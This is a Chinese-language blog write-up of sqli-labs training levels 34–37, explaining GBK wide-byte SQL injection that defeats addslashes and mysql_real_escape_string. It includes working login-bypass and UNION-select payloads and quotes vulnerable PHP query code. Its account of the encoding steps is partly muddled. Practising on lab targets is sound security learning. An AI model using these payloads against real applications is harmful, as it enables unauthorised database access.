靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

(34)第三十四关:

 

使用下面输入的语句可以成功注入并登录成功:

�' or 1=1#

 

因为这个编码是乱码,会启用gbk解码,所以变成了文字的注入,第36关特别详细,可以先查看36关的说明:

�%5c' or 1=1#           首先被过滤函数转义,加了个%5c
%EF%BF%BD%5c' or 1=1# 然后是自行url解码变成%EF%BF%BD%5c'
锟絓' or 1=1#             最后是gbk解码,发现可以注入! 

 

(35)第三十五关:

/ take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

这个也是考宽字节注入,不同的是没有加那个'号,用的那个过滤函数

 

 后面什么也不用输即可:

?id=-1%20 union select 1,user(),3--+

 

(36)第三十六关:

 

 36关就用的过滤函数不一样了,因此可以再回顾一下过滤函数:php内一些可以防止注入的函数

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 

下列字符受影响:
 \x00
 \n
 \r
 \
 '  "
 \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
?id=-1�'union select 1,user(),3--+

这里的语句设置了转义,同时在乱码会使用gbk编码:

mysql_query("set names 'gbk'");

我们输入

%EF%BF%BD%27
他首先会url解码成乱码,发现有个'就拼接了\\的url编码是%5c,因为是个乱码,所以,会使用gbk编码,然后就变成%EF%BF%BD%5c%27

 

 

这里的乱码使用gbk进行解码,就变成了汉字,因此可以注入:

 

 

 跟34关差不多的原理,这里我不再赘述。

 

(37)第三十七关:

 

 用户名和密码都设置了转义,然后在乱码时启用了gbk

�' or 1=1#

跟34关差不多,不再赘述。

posted @ 2021-11-16 11:32  铺哩  阅读(304)  评论(0编辑  收藏  举报